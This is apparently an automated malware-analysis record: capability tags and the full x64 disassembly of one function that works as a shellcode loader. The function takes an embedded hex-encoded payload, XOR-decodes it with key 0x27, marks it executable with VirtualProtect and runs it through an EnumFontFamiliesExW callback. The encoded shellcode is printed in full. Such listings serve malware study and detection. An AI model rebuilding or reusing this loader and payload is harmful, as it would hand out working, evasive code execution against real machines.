Function at 0x140001240
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x38
mov rax, qword [0x140006040]
xor rax, rsp
mov qword [rsp + 0x30], rax
stmxcsr dword [rsp + 0x2c]
or dword [rsp + 0x2c], 0x8040
ldmxcsr dword [rsp + 0x2c]
mov ecx, 0x8c7
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r15, rax
mov rbx, 0xfffffffffffffffe
lea r14, str.621f13161713171717176615111f17171f15131517171617106411176212621214106111616161616161131614171613176113161715161317616215611115146414641364176417656462641e1e63126410646464131211141764111312611e62136561636112621e6116611661646162146264661f1315111f1110101e1161136261121210651363121f15626515161211151e62651f1e13131263141e65626262171f1e11161f1f15171f6162631062131f1e1513141f1315621f1011621111176565621414121464126215121e15161715621f6610131564161217611f61621766611e171f161e131562126466131e1664636466141511641e116564656215661f111011116265156316156461151017166363626666121f1e6417101f1e176213661064151464641f6113176362631761131462151561646410636662151f1f62131f136515161f66141e1f6415141363136365101110111f1e651f65101f1f666463151e101015106366111263636261631f1e111116616362631714106217631f176517141410626315121e64141416141217161f661e15631465631f1365176410651411621f61151766101712106613166615151e6562621562631e616317131f6166141e151466661413666266666414611f141217641f646613111f1317141e66616666611f1f6665161664126513166512641565161017131161111615131711636110621e1663121664616563156464131115101e126214111f15661210151e11156465641f65641512121e6215121f13136516111f611e1e12111014641e64621f6665656666131f121012161314121164111e1e6162176111646162121110156412176416616413136311131310116416131f1263626317116117161e1064626615641613161113121466611f151066626617111f10641017131e1e1e631611636113131562121f6566651511176263171e63171e11151561161213656510151066621613101415161f16121015151f1e13611f1510641066121f1265626611651616641e1214136564151262651062641e1015121e1714131464161e61141f641f13146112171f141763631764101e13636117661262141e101314626114651564171511621162101f6116631516661711131710631f101e141013171f62106263661e141f666512126363661e65131566161512631711621262176561651f12161f61111e621117666211621415156610621162651f6317156516661065141217106610131510111e61151f171714116364611015156264166211176366121215631e1114631716166216146510161f131215661f64661e13666614106662101314151063656663621211626264101763641f151461136563101414176113616263106217171f621412101763631e15161e641e1164101e611414661e666214611e131112121266666662656563121263126166666162151317171062651e10656213101e14136266151011661112136114171e6315611366121517176610131f126265166162651f1316636566151213166115631f1f13121564641f62176414171714141364121163151763636117166465141011641f661e1616661613136513176111141616106111646514616515176161126561171e621513111614171661616611151f12626362126114171711111f65101264131613616113111f131f1762131362131f171613151762651012616313661565661017611661171710151062161f6511611510106111661461631716141565106314661417131e6314631f66631f136215131f1f641f6166626465621513621766621312611f631e17636614131412171f651e1e131315656311661e6410661063101e1f17171466131215146515121e62631615121e1562171e66161f616117636463141112651f1f17616163111f131e611e611117661f151e131061646414646563171716621e66141f1362141414626663631314631311651616171412106662611112131f6563111f161e1616141e6617131f1413116413116212141361141365171565101066116315161f15621217171412626415131665121217121e10156363641710151314611f156217141517621f6216131e66656663611f131162661e14161565176110631762156415171514621e6665651e6366661264101e161417101312111f61136510151f151462111f61611e661f151566616166101f161f131e141e151311641e1516131516131f101e6362661210151765166515611264631f10616517141f65626666111414121610106566176165611e61171e64111665651e1666621712101615626312631e1e121413661466636664171010161117661513111f1e66611e656363121263661713141513126513146114156317121765641066661e166511161f1111171364131261121110626210161f6161161e65656211621065616263111f106417641e1763661215631764116561116113651f166117131e66621f64171263666610131566646562131417121e13101f1464111f1e1f11126410171365116365101e16666563616110101662146515631e64171661616510161761166311651e66131616636112626665161f156115651615121e16126664611414651211166513161f1714646517121e6415151362111316651e121011631313661e1412121616126316641f156662161e1314176215111711136613111313661614136317626210656216641311176212121315611165641f63611213651561131e1463171615171e63121710131e1014171514651f66631466151610651764141013121311121315616611171416631f12616515116563
lea r12, [rsp + 0x2c]
mov rsi, qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
mov rdi, rax
nop dword [rax]
movzx eax, word [rbx + r14 + 2]
mov word [rsp + 0x2c], ax
mov byte [rsp + 0x2e], 0
mov rcx, r12
xor edx, edx
mov r8d, 0x10
call rsi
xor al, 0x27
mov byte [rdi], al
add rbx, 2
inc rdi
cmp rbx, 0x118a
jb 0x1400012a0
mov byte [r15 + 0x8c6], 0
mov rcx, r15
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
shr rax, 1
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_calloc]
mov rdi, rax
xor esi, esi
mov rbx, r15
nop word [rax + rax]
mov rcx, r15
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
shr rax, 1
cmp rsi, rax
jae 0x140001325
lea r8, [rdi + rsi]
mov rcx, rbx
call fcn.140001390
add rbx, 2
inc rsi
jmp 0x140001300
mov dword [rsp + 0x2c], 0
lea r9, [rsp + 0x2c]
mov edx, 8
mov rcx, rdi
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
mov dword [rsp + 0x20], 0
mov rcx, rax
xor edx, edx
mov r8, rdi
xor r9d, r9d
call qword [sym.imp.GDI32.dll_EnumFontFamiliesExW]
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.140001f50
xor eax, eax
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret